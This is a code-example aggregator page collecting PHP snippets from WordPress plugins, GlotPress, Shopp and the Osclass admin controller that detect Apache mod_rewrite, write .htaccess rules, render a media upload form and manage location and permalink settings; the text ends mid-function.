예제 #1
0
/**
 * Returns whether the server is running Apache with the mod_rewrite module loaded.
 *
 * @since 2.0.0
 *
 * @return bool
 */
function got_mod_rewrite()
{
    $got_rewrite = apache_mod_loaded('mod_rewrite', true);
    /**
     * Filter whether Apache and mod_rewrite are present.
     *
     * This filter was previously used to force URL rewriting for other servers,
     * like nginx. Use the got_url_rewrite filter in got_url_rewrite() instead.
     *
     * @see got_url_rewrite()
     *
     * @since 2.5.0
     * @param bool $got_rewrite Whether Apache and mod_rewrite are present.
     */
    return apply_filters('got_rewrite', $got_rewrite);
}
function bogo_post_rewrite_rules($post_rewrite)
{
    global $wp_rewrite;
    $permastruct = $wp_rewrite->permalink_structure;
    // from wp-admin/includes/misc.php
    $got_rewrite = apply_filters('got_rewrite', apache_mod_loaded('mod_rewrite', true));
    $got_url_rewrite = apply_filters('got_url_rewrite', $got_rewrite || $GLOBALS['is_nginx'] || iis7_supports_permalinks());
    if (!$got_url_rewrite) {
        $permastruct = preg_replace('#^/index\\.php#', '/index.php/%lang%', $permastruct);
    } elseif (is_multisite() && !is_subdomain_install() && is_main_site()) {
        $permastruct = preg_replace('#^/blog#', '/%lang%/blog', $permastruct);
    } else {
        $permastruct = preg_replace('#^/#', '/%lang%/', $permastruct);
    }
    $extra = bogo_generate_rewrite_rules($permastruct, array('ep_mask' => EP_PERMALINK, 'paged' => false));
    return array_merge($extra, $post_rewrite);
}
예제 #3
0
/**
 * Sets the mod_rewrite rules
 *
 * @return bool Returns true on success and false on failure
 */
function gp_set_htaccess($path)
{
    // The server doesn't support mod rewrite
    if (!apache_mod_loaded('mod_rewrite', true)) {
        //return false;
    }
    if (file_exists('.htaccess') && !is_writeable('.htaccess')) {
        return false;
    }
    // check if the .htaccess is in place or try to write it
    $htaccess_file = @fopen('.htaccess', 'c+');
    //error opening htaccess, inform user!
    if (false === $htaccess_file) {
        return false;
    }
    //'# BEGIN GlotPress' not found, write the access rules
    if (false === strpos(stream_get_contents($htaccess_file), '# BEGIN GlotPress')) {
        fwrite($htaccess_file, gp_mod_rewrite_rules($path));
    }
    fclose($htaccess_file);
    return true;
}
function anno_media_upload_form()
{
    if (!anno_current_user_can_edit()) {
        echo '<div style="text-align:center;">' . _x('You do not have proper permissions to upload a new image', 'Permissions warning for image uplaod', 'anno') . '</div>';
        return;
    }
    global $type, $tab, $pagenow;
    $flash_action_url = admin_url('async-upload.php');
    // If Mac and mod_security, no Flash. :(
    $flash = true;
    if (false !== stripos($_SERVER['HTTP_USER_AGENT'], 'mac') && apache_mod_loaded('mod_security')) {
        $flash = false;
    }
    $flash = apply_filters('flash_uploader', $flash);
    $post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
    $upload_size_unit = $max_upload_size = wp_max_upload_size();
    $sizes = array('KB', 'MB', 'GB');
    for ($u = -1; $upload_size_unit > 1024 && $u < count($sizes) - 1; $u++) {
        $upload_size_unit /= 1024;
    }
    if ($u < 0) {
        $upload_size_unit = 0;
        $u = 0;
    } else {
        $upload_size_unit = (int) $upload_size_unit;
    }
    ?>
	<script type="text/javascript">
	//<![CDATA[
	var uploaderMode = 0;
	jQuery(document).ready(function($){
		uploaderMode = getUserSetting('uploader');
		$('.upload-html-bypass a').click(function(){deleteUserSetting('uploader');uploaderMode=0;swfuploadPreLoad();return false;});
		$('.upload-flash-bypass a').click(function(){setUserSetting('uploader', '1');uploaderMode=1;swfuploadPreLoad();return false;});
	});
	//]]>
	</script>
	<div id="media-upload-notice">
	<?php 
    if (isset($errors['upload_notice'])) {
        ?>
		<?php 
        echo $errors['upload_notice'];
        ?>
	<?php 
    }
    ?>
	</div>
	<div id="media-upload-error">
	<?php 
    if (isset($errors['upload_error']) && is_wp_error($errors['upload_error'])) {
        ?>
		<?php 
        echo $errors['upload_error']->get_error_message();
        ?>
	<?php 
    }
    ?>
	</div>
	<?php 
    // Check quota for this blog if multisite
    if (is_multisite() && !is_upload_space_available()) {
        echo '<p>' . sprintf(_x('Sorry, you have filled your storage quota (%s MB).', 'Media upload error text', 'anno'), get_space_allowed()) . '</p>';
        return;
    }
    do_action('pre-upload-ui');
    if ($flash) {
        // Set the post params, which SWFUpload will post back with the file, and pass
        // them through a filter.
        $post_params = array('post_id' => anno_get_post_id(), 'auth_cookie' => is_ssl() ? $_COOKIE[SECURE_AUTH_COOKIE] : $_COOKIE[AUTH_COOKIE], 'logged_in_cookie' => $_COOKIE[LOGGED_IN_COOKIE], '_wpnonce' => wp_create_nonce('media-form'), 'type' => $type, 'tab' => $tab, 'short' => '1', 'action' => 'tinymce_upload');
        $post_params = apply_filters('swfupload_post_params', $post_params);
        $p = array();
        foreach ($post_params as $param => $val) {
            $p[] = "\t\t'{$param}' : '{$val}'";
        }
        $post_params_str = implode(", \n", $p);
        // #8545. wmode=transparent cannot be used with SWFUpload
        if ('media-new.php' == $pagenow) {
            $upload_image_path = get_user_option('admin_color');
            if ('classic' != $upload_image_path) {
                $upload_image_path = 'fresh';
            }
            $upload_image_path = admin_url('images/upload-' . $upload_image_path . '.png?ver=20101205');
        } else {
            $upload_image_path = includes_url('images/upload.png?ver=20100531');
        }
        ?>
	<script type="text/javascript">
	//<![CDATA[
	var swfu;
	SWFUpload.onload = function() {
		var settings = {
				button_text: '<span class="button"><?php 
        _ex('Select Files', 'Media upload text', 'anno');
        ?>
<\/span>',
				button_text_style: '.button { text-align: center; font-weight: bold; font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif; font-size: 11px; text-shadow: 0 1px 0 #FFFFFF; color:#464646;}',
				button_height: "23",
				button_width: "132",
				button_text_top_padding: 3,
				button_image_url: '<?php 
        echo $upload_image_path;
        ?>
',
				button_placeholder_id: "flash-browse-button",
				upload_url : "<?php 
        echo esc_attr($flash_action_url);
        ?>
",
				flash_url : "<?php 
        echo includes_url('js/swfupload/swfupload.swf');
        ?>
",
				file_post_name: "async-upload",
				post_params : {
					<?php 
        echo $post_params_str;
        ?>
				},
				file_size_limit : "<?php 
        echo $max_upload_size;
        ?>
b",
				file_dialog_start_handler : fileDialogStart,
				file_queued_handler : annoFileQueued,
				upload_start_handler : uploadStart,
				upload_progress_handler : uploadProgress,
				upload_error_handler : uploadError,
				upload_success_handler : <?php 
        echo apply_filters('swfupload_success_handler', 'uploadSuccess');
        ?>
,
				upload_complete_handler : uploadComplete,
				file_queue_error_handler : fileQueueError,
				file_dialog_complete_handler : fileDialogComplete,
				swfupload_pre_load_handler: swfuploadPreLoad,
				swfupload_load_failed_handler: swfuploadLoadFailed,
				custom_settings : {
					degraded_element_id : "html-upload-ui", // id of the element displayed when swfupload is unavailable
					swfupload_element_id : "flash-upload-ui" // id of the element displayed when swfupload is available
				},
				file_types : "*.jpg;*.gif;*.png;*.jpeg;*.bmp;",
				debug: false
			};
			swfu = new SWFUpload(settings);
	};
	//]]>
	</script>

	<div id="flash-upload-ui" class="tinymce-uploader hide-if-no-js">
	<?php 
        do_action('pre-flash-upload-ui');
        ?>
		<div>
		<?php 
        _ex('Choose files to upload', 'Media upload dialog', 'anno');
        ?>
		<div id="flash-browse-button"></div>
		<span><input id="cancel-upload" disabled="disabled" onclick="cancelUpload()" type="button" value="<?php 
        _ex('Cancel Upload', 'Media cancel button text', 'anno');
        ?>
" class="button" /></span>
		</div>
	<?php 
        do_action('post-plupload-upload-ui');
        ?>
	</div>
	<?php 
    }
    // $flash
    ?>

	<div id="html-upload-ui" class="tinymce-uploader<?php 
    if ($flash) {
        echo ' hide-if-js';
    }
    ?>
">
	<?php 
    do_action('pre-html-upload-ui');
    ?>
		<p id="async-upload-wrap">
			<label class="screen-reader-text" for="async-upload"><?php 
    _ex('Upload', 'Media upload text', 'anno');
    ?>
</label>
			<input type="file" name="async-upload" id="async-upload" accept="image/gif, image/jpeg, image/jpg, image/png" />
			<?php 
    submit_button(_x('Upload', 'Media upload text', 'anno'), 'button', 'html-upload', false);
    ?>
		</p>
		<div class="clear"></div>
		<?php 
    if (is_lighttpd_before_150()) {
        ?>
		<p><?php 
        _ex('If you want to use all capabilities of the uploader, like uploading multiple files at once, please update to lighttpd 1.5.', 'Media upload error text', 'anno');
        ?>
</p>
		<?php 
    }
    ?>
	<?php 
    do_action('post-html-upload-ui', $flash);
    ?>
	</div>
	<?php 
    do_action('post-upload-ui');
    ?>
	<?php 
}
예제 #5
0
파일: editor.php 프로젝트: msigley/shopp
?>
			</div>
			</div>
			<div class="clear">&nbsp;</div>
		</div> <!-- #poststuff -->
	</form>
</div>

<?php 
do_action('shopp_product_editor_templates');
?>
<script type="text/javascript">
/* <![CDATA[ */
jQuery('.hide-if-no-js').removeClass('hide-if-no-js');
var flashuploader = <?php 
echo $uploader == 'flash' && !(false !== strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'mac') && apache_mod_loaded('mod_security')) ? 'true' : 'false';
?>
,
	product = <?php 
echo !empty($Product->id) ? $Product->id : 'false';
?>
,
	prices = <?php 
echo json_encode($Product->prices);
?>
,
	specs = <?php 
$specs = array();
foreach ($Product->specs as $Spec) {
    $specs[] = $Spec->json(array('context', 'type', 'numeral', 'sortorder', 'created', 'modified'));
}
예제 #6
0
파일: settings.php 프로젝트: semul/Osclass
    function doModel()
    {
        switch ($this->action) {
            case 'comments':
                //calling the comments settings view
                $this->doView('settings/comments.php');
                break;
            case 'comments_post':
                // updating comment
                $iUpdated = 0;
                $enabledComments = Params::getParam('enabled_comments');
                $enabledComments = $enabledComments != '' ? true : false;
                $moderateComments = Params::getParam('moderate_comments');
                $moderateComments = $moderateComments != '' ? true : false;
                $numModerateComments = Params::getParam('num_moderate_comments');
                $commentsPerPage = Params::getParam('comments_per_page');
                $notifyNewComment = Params::getParam('notify_new_comment');
                $notifyNewComment = $notifyNewComment != '' ? true : false;
                $notifyNewCommentUser = Params::getParam('notify_new_comment_user');
                $notifyNewCommentUser = $notifyNewCommentUser != '' ? true : false;
                $regUserPostComments = Params::getParam('reg_user_post_comments');
                $regUserPostComments = $regUserPostComments != '' ? true : false;
                $msg = '';
                if (!osc_validate_int(Params::getParam("num_moderate_comments"))) {
                    $msg .= _m("Number of moderate comments must only contain numeric characters") . "<br/>";
                }
                if (!osc_validate_int(Params::getParam("comments_per_page"))) {
                    $msg .= _m("Comments per page must only contain numeric characters") . "<br/>";
                }
                if ($msg != '') {
                    osc_add_flash_error_message($msg, 'admin');
                    $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=comments');
                }
                $iUpdated += Preference::newInstance()->update(array('s_value' => $enabledComments), array('s_name' => 'enabled_comments'));
                if ($moderateComments) {
                    $iUpdated += Preference::newInstance()->update(array('s_value' => $numModerateComments), array('s_name' => 'moderate_comments'));
                } else {
                    $iUpdated += Preference::newInstance()->update(array('s_value' => '-1'), array('s_name' => 'moderate_comments'));
                }
                $iUpdated += Preference::newInstance()->update(array('s_value' => $notifyNewComment), array('s_name' => 'notify_new_comment'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $notifyNewCommentUser), array('s_name' => 'notify_new_comment_user'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $commentsPerPage), array('s_name' => 'comments_per_page'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $regUserPostComments), array('s_name' => 'reg_user_post_comments'));
                if ($iUpdated > 0) {
                    osc_add_flash_ok_message(_m("Comment settings have been updated"), 'admin');
                }
                $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=comments');
                break;
            case 'locations':
                // calling the locations settings view
                $location_action = Params::getParam('type');
                $mCountries = new Country();
                switch ($location_action) {
                    case 'add_country':
                        // add country
                        $countryCode = strtoupper(Params::getParam('c_country'));
                        $countryName = Params::getParam('country');
                        $exists = $mCountries->findByCode($countryCode);
                        if (isset($exists['s_name'])) {
                            osc_add_flash_error_message(sprintf(_m('%s already was in the database'), $countryName), 'admin');
                        } else {
                            $countries_json = osc_file_get_contents('http://geo.osclass.org/geo.download.php?action=country_code&term=' . urlencode($countryCode));
                            $countries = json_decode($countries_json);
                            $mCountries->insert(array('pk_c_code' => $countryCode, 's_name' => $countryName));
                            CountryStats::newInstance()->setNumItems($countryCode, 0);
                            if (isset($countries->error)) {
                                // Country is not in our GEO database
                                // We have no region for user-typed countries
                            } else {
                                // Country is in our GEO database, add regions and cities
                                $manager_region = new Region();
                                $regions_json = osc_file_get_contents('http://geo.osclass.org/geo.download.php?action=region&country_code=' . urlencode($countryCode) . '&term=all');
                                $regions = json_decode($regions_json);
                                if (!isset($regions->error)) {
                                    if (count($regions) > 0) {
                                        foreach ($regions as $r) {
                                            $manager_region->insert(array("fk_c_country_code" => $r->country_code, "s_name" => $r->name));
                                            $id = $manager_region->dao->insertedId();
                                            RegionStats::newInstance()->setNumItems($id, 0);
                                        }
                                    }
                                    unset($regions);
                                    unset($regions_json);
                                    $manager_city = new City();
                                    if (count($countries) > 0) {
                                        foreach ($countries as $c) {
                                            $regions = $manager_region->findByCountry($c->id);
                                            if (!isset($regions->error)) {
                                                if (count($regions) > 0) {
                                                    foreach ($regions as $region) {
                                                        $cities_json = osc_file_get_contents('http://geo.osclass.org/geo.download.php?action=city&country=' . urlencode($c->name) . '&region=' . urlencode($region['s_name']) . '&term=all');
                                                        $cities = json_decode($cities_json);
                                                        if (!isset($cities->error)) {
                                                            if (count($cities) > 0) {
                                                                foreach ($cities as $ci) {
                                                                    $manager_city->insert(array("fk_i_region_id" => $region['pk_i_id'], "s_name" => $ci->name, "fk_c_country_code" => $ci->country_code));
                                                                    $id = $manager_city->dao->insertedId();
                                                                    CityStats::newInstance()->setNumItems($id, 0);
                                                                }
                                                            }
                                                        }
                                                        unset($cities);
                                                        unset($cities_json);
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                            osc_add_flash_ok_message(sprintf(_m('%s has been added as a new country'), $countryName), 'admin');
                        }
                        $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                        break;
                    case 'edit_country':
                        // edit country
                        $ok = $mCountries->update(array('s_name' => Params::getParam('e_country')), array('pk_c_code' => Params::getParam('country_code')));
                        if ($ok) {
                            osc_add_flash_ok_message(_m('Country has been edited'), 'admin');
                        } else {
                            osc_add_flash_error_message(_m('There were some problems editing the country'), 'admin');
                        }
                        $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                        break;
                    case 'delete_country':
                        // delete country
                        $countryId = Params::getParam('id');
                        Item::newInstance()->deleteByRegion($countryId);
                        $mRegions = new Region();
                        $mCities = new City();
                        $aCountries = $mCountries->findByCode($countryId);
                        $aRegions = $mRegions->findByCountry($aCountries['pk_c_code']);
                        foreach ($aRegions as $region) {
                            // remove city_stats
                            CityStats::newInstance()->deleteByRegion($region['pk_i_id']);
                            // remove region_stats
                            RegionStats::newInstance()->delete(array('fk_i_region_id' => $region['pk_i_id']));
                        }
                        //remove country stats
                        CountryStats::newInstance()->delete(array('fk_c_country_code' => $aCountries['pk_c_code']));
                        $ok = $mCountries->deleteByPrimaryKey($aCountries['pk_c_code']);
                        if ($ok) {
                            osc_add_flash_ok_message(sprintf(_m('%s has been deleted'), $aCountries['s_name']), 'admin');
                        } else {
                            osc_add_flash_error_message(sprintf(_m('There was a problem deleting %s'), $aCountries['s_name']), 'admin');
                        }
                        $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                        break;
                    case 'add_region':
                        // add region
                        if (!Params::getParam('r_manual')) {
                            $this->install_location_by_region();
                        } else {
                            $mRegions = new Region();
                            $regionName = Params::getParam('region');
                            $countryCode = Params::getParam('country_c_parent');
                            $country = Country::newInstance()->findByCode($countryCode);
                            $exists = $mRegions->findByName($regionName, $countryCode);
                            if (!isset($exists['s_name'])) {
                                $data = array('fk_c_country_code' => $countryCode, 's_name' => $regionName);
                                $mRegions->insert($data);
                                $id = $mRegions->dao->insertedId();
                                RegionStats::newInstance()->setNumItems($id, 0);
                                osc_add_flash_ok_message(sprintf(_m('%s has been added as a new region'), $regionName), 'admin');
                            } else {
                                osc_add_flash_error_message(sprintf(_m('%s already was in the database'), $regionName), 'admin');
                            }
                        }
                        $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations&country_code=' . @$countryCode . "&country=" . @$country['s_name']);
                        break;
                    case 'edit_region':
                        // edit region
                        $mRegions = new Region();
                        $newRegion = Params::getParam('e_region');
                        $regionId = Params::getParam('region_id');
                        $exists = $mRegions->findByName($newRegion);
                        if (!isset($exists['pk_i_id']) || $exists['pk_i_id'] == $regionId) {
                            if ($regionId != '') {
                                $aRegion = $mRegions->findByPrimaryKey($regionId);
                                $country = Country::newInstance()->findByCode($aRegion['fk_c_country_code']);
                                $mRegions->update(array('s_name' => $newRegion), array('pk_i_id' => $regionId));
                                ItemLocation::newInstance()->update(array('s_region' => $newRegion), array('fk_i_region_id' => $regionId));
                                osc_add_flash_ok_message(sprintf(_m('%s has been edited'), $newRegion), 'admin');
                            }
                        } else {
                            osc_add_flash_error_message(sprintf(_m('%s already was in the database'), $newRegion), 'admin');
                        }
                        $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations&country_code=' . @$country['pk_c_code'] . "&country=" . @$country['s_name']);
                        break;
                    case 'delete_region':
                        // delete region
                        $mRegion = new Region();
                        $mCities = new City();
                        $regionId = Params::getParam('id');
                        if ($regionId != '') {
                            Item::newInstance()->deleteByRegion($regionId);
                            $aRegion = $mRegion->findByPrimaryKey($regionId);
                            $country = Country::newInstance()->findByCode($aRegion['fk_c_country_code']);
                            // remove city_stats
                            CityStats::newInstance()->deleteByRegion($regionId);
                            $mCities->delete(array('fk_i_region_id' => $regionId));
                            // remove region_stats
                            RegionStats::newInstance()->delete(array('fk_i_region_id' => $regionId));
                            $mRegion->delete(array('pk_i_id' => $regionId));
                            osc_add_flash_ok_message(sprintf(_m('%s has been deleted'), $aRegion['s_name']), 'admin');
                        }
                        $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations&country_code=' . @$country['pk_c_code'] . "&country=" . @$country['s_name']);
                        break;
                    case 'add_city':
                        // add city
                        $mRegion = new Region();
                        $mCities = new City();
                        $regionId = Params::getParam('region_parent');
                        $countryCode = Params::getParam('country_c_parent');
                        $newCity = Params::getParam('city');
                        $exists = $mCities->findByName($newCity, $regionId);
                        $region = $mRegion->findByPrimaryKey($regionId);
                        $country = Country::newInstance()->findByCode($region['fk_c_country_code']);
                        if (!isset($exists['s_name'])) {
                            $mCities->insert(array('fk_i_region_id' => $regionId, 's_name' => $newCity, 'fk_c_country_code' => $countryCode));
                            $id = $mCities->dao->insertedId();
                            CityStats::newInstance()->setNumItems($id, 0);
                            osc_add_flash_ok_message(sprintf(_m('%s has been added as a new city'), $newCity), 'admin');
                        } else {
                            osc_add_flash_error_message(sprintf(_m('%s already was in the database'), $newCity), 'admin');
                        }
                        $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations&country_code=' . @$country['pk_c_code'] . "&country=" . @$country['s_name'] . "&region=" . $regionId);
                        break;
                    case 'edit_city':
                        // edit city
                        $mRegion = new Region();
                        $mCities = new City();
                        $newCity = Params::getParam('e_city');
                        $cityId = Params::getParam('city_id');
                        $exists = $mCities->findByName($newCity);
                        if (!isset($exists['pk_i_id']) || $exists['pk_i_id'] == $cityId) {
                            $city = $mCities->findByPrimaryKey($cityId);
                            $region = $mRegion->findByPrimaryKey($city['fk_i_region_id']);
                            $country = Country::newInstance()->findByCode($region['fk_c_country_code']);
                            $mCities->update(array('s_name' => $newCity), array('pk_i_id' => $cityId));
                            ItemLocation::newInstance()->update(array('s_city' => $newCity), array('fk_i_city_id' => $cityId));
                            osc_add_flash_ok_message(sprintf(_m('%s has been edited'), $newCity), 'admin');
                        } else {
                            osc_add_flash_error_message(sprintf(_m('%s already was in the database'), $newCity), 'admin');
                        }
                        $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations&country_code=' . @$country['pk_c_code'] . "&country=" . @$country['s_name'] . "&region=" . @$region['pk_i_id']);
                        break;
                    case 'delete_city':
                        // delete city
                        $mRegion = new Region();
                        $mCities = new City();
                        $cityId = Params::getParam('id');
                        Item::newInstance()->deleteByCity($cityId);
                        $aCity = $mCities->findByPrimaryKey($cityId);
                        // remove region_stats
                        $region = $mRegion->findByPrimaryKey($aCity['fk_i_region_id']);
                        $country = Country::newInstance()->findByCode($region['fk_c_country_code']);
                        CityStats::newInstance()->delete(array('fk_i_city_id' => $cityId));
                        $mCities->delete(array('pk_i_id' => $cityId));
                        osc_add_flash_ok_message(sprintf(_m('%s has been deleted'), $aCity['s_name']), 'admin');
                        $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations&country_code=' . @$country['pk_c_code'] . "&country=" . @$country['s_name'] . "&region=" . @$region['pk_i_id']);
                        break;
                }
                $aCountries = $mCountries->listAll();
                $this->_exportVariableToView('aCountries', $aCountries);
                $this->doView('settings/locations.php');
                break;
            case 'permalinks':
                // calling the permalinks view
                $htaccess = Params::getParam('htaccess_status');
                $file = Params::getParam('file_status');
                $this->_exportVariableToView('htaccess', $htaccess);
                $this->_exportVariableToView('file', $file);
                $this->doView('settings/permalinks.php');
                break;
            case 'permalinks_post':
                // updating permalinks option
                $htaccess_file = osc_base_path() . '.htaccess';
                $rewriteEnabled = Params::getParam('rewrite_enabled') ? true : false;
                if ($rewriteEnabled) {
                    Preference::newInstance()->update(array('s_value' => '1'), array('s_name' => 'rewriteEnabled'));
                    $rewrite_base = REL_WEB_URL;
                    $htaccess = <<<HTACCESS
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase {$rewrite_base}
    RewriteRule ^index\\.php\$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . {$rewrite_base}index.php [L]
</IfModule>
HTACCESS;
                    // 1. OK (ok)
                    // 2. OK no apache module detected (warning)
                    // 3. No se puede crear + apache
                    // 4. No se puede crear + no apache
                    $status = 3;
                    if (file_exists($htaccess_file)) {
                        if (is_writable($htaccess_file) && file_put_contents($htaccess_file, $htaccess)) {
                            $status = 1;
                        }
                    } else {
                        if (is_writable(osc_base_path()) && file_put_contents($htaccess_file, $htaccess)) {
                            $status = 1;
                        }
                    }
                    if (!@apache_mod_loaded('mod_rewrite')) {
                        $status++;
                    }
                    $errors = 0;
                    $item_url = substr(str_replace('//', '/', Params::getParam('rewrite_item_url') . '/'), 0, -1);
                    if (!osc_validate_text($item_url)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $item_url), array('s_name' => 'rewrite_item_url'));
                    }
                    $page_url = substr(str_replace('//', '/', Params::getParam('rewrite_page_url') . '/'), 0, -1);
                    if (!osc_validate_text($page_url)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $page_url), array('s_name' => 'rewrite_page_url'));
                    }
                    $cat_url = substr(str_replace('//', '/', Params::getParam('rewrite_cat_url') . '/'), 0, -1);
                    if (!osc_validate_text($cat_url)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $cat_url), array('s_name' => 'rewrite_cat_url'));
                    }
                    $search_url = substr(str_replace('//', '/', Params::getParam('rewrite_search_url') . '/'), 0, -1);
                    if (!osc_validate_text($search_url)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $search_url), array('s_name' => 'rewrite_search_url'));
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_country'))) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => Params::getParam('rewrite_search_country')), array('s_name' => 'rewrite_search_country'));
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_region'))) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => Params::getParam('rewrite_search_region')), array('s_name' => 'rewrite_search_region'));
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_city'))) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => Params::getParam('rewrite_search_city')), array('s_name' => 'rewrite_search_city'));
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_city_area'))) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => Params::getParam('rewrite_search_city_area')), array('s_name' => 'rewrite_search_city_area'));
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_category'))) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => Params::getParam('rewrite_search_category')), array('s_name' => 'rewrite_search_category'));
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_user'))) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => Params::getParam('rewrite_search_user')), array('s_name' => 'rewrite_search_user'));
                    }
                    if (!osc_validate_text(Params::getParam('rewrite_search_pattern'))) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => Params::getParam('rewrite_search_pattern')), array('s_name' => 'rewrite_search_pattern'));
                    }
                    $rewrite_contact = substr(str_replace('//', '/', Params::getParam('rewrite_contact') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_contact)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_contact), array('s_name' => 'rewrite_contact'));
                    }
                    $rewrite_feed = substr(str_replace('//', '/', Params::getParam('rewrite_feed') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_feed)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_feed), array('s_name' => 'rewrite_feed'));
                    }
                    $rewrite_language = substr(str_replace('//', '/', Params::getParam('rewrite_language') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_language)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_language), array('s_name' => 'rewrite_language'));
                    }
                    $rewrite_item_mark = substr(str_replace('//', '/', Params::getParam('rewrite_item_mark') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_mark)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_item_mark), array('s_name' => 'rewrite_item_mark'));
                    }
                    $rewrite_item_send_friend = substr(str_replace('//', '/', Params::getParam('rewrite_item_send_friend') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_send_friend)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_item_send_friend), array('s_name' => 'rewrite_item_send_friend'));
                    }
                    $rewrite_item_contact = substr(str_replace('//', '/', Params::getParam('rewrite_item_contact') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_contact)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_item_contact), array('s_name' => 'rewrite_item_contact'));
                    }
                    $rewrite_item_new = substr(str_replace('//', '/', Params::getParam('rewrite_item_new') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_new)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_item_new), array('s_name' => 'rewrite_item_new'));
                    }
                    $rewrite_item_activate = substr(str_replace('//', '/', Params::getParam('rewrite_item_activate') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_activate)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_item_activate), array('s_name' => 'rewrite_item_activate'));
                    }
                    $rewrite_item_edit = substr(str_replace('//', '/', Params::getParam('rewrite_item_edit') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_edit)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_item_edit), array('s_name' => 'rewrite_item_edit'));
                    }
                    $rewrite_item_delete = substr(str_replace('//', '/', Params::getParam('rewrite_item_delete') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_delete)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_item_delete), array('s_name' => 'rewrite_item_delete'));
                    }
                    $rewrite_item_resource_delete = substr(str_replace('//', '/', Params::getParam('rewrite_item_resource_delete') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_item_resource_delete)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_item_resource_delete), array('s_name' => 'rewrite_item_resource_delete'));
                    }
                    $rewrite_user_login = substr(str_replace('//', '/', Params::getParam('rewrite_user_login') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_login)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_user_login), array('s_name' => 'rewrite_user_login'));
                    }
                    $rewrite_user_dashboard = substr(str_replace('//', '/', Params::getParam('rewrite_user_dashboard') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_dashboard)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_user_dashboard), array('s_name' => 'rewrite_user_dashboard'));
                    }
                    $rewrite_user_logout = substr(str_replace('//', '/', Params::getParam('rewrite_user_logout') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_logout)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_user_logout), array('s_name' => 'rewrite_user_logout'));
                    }
                    $rewrite_user_register = substr(str_replace('//', '/', Params::getParam('rewrite_user_register') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_register)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_user_register), array('s_name' => 'rewrite_user_register'));
                    }
                    $rewrite_user_activate = substr(str_replace('//', '/', Params::getParam('rewrite_user_activate') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_activate)) {
                        $errors += 1;
                    } else {
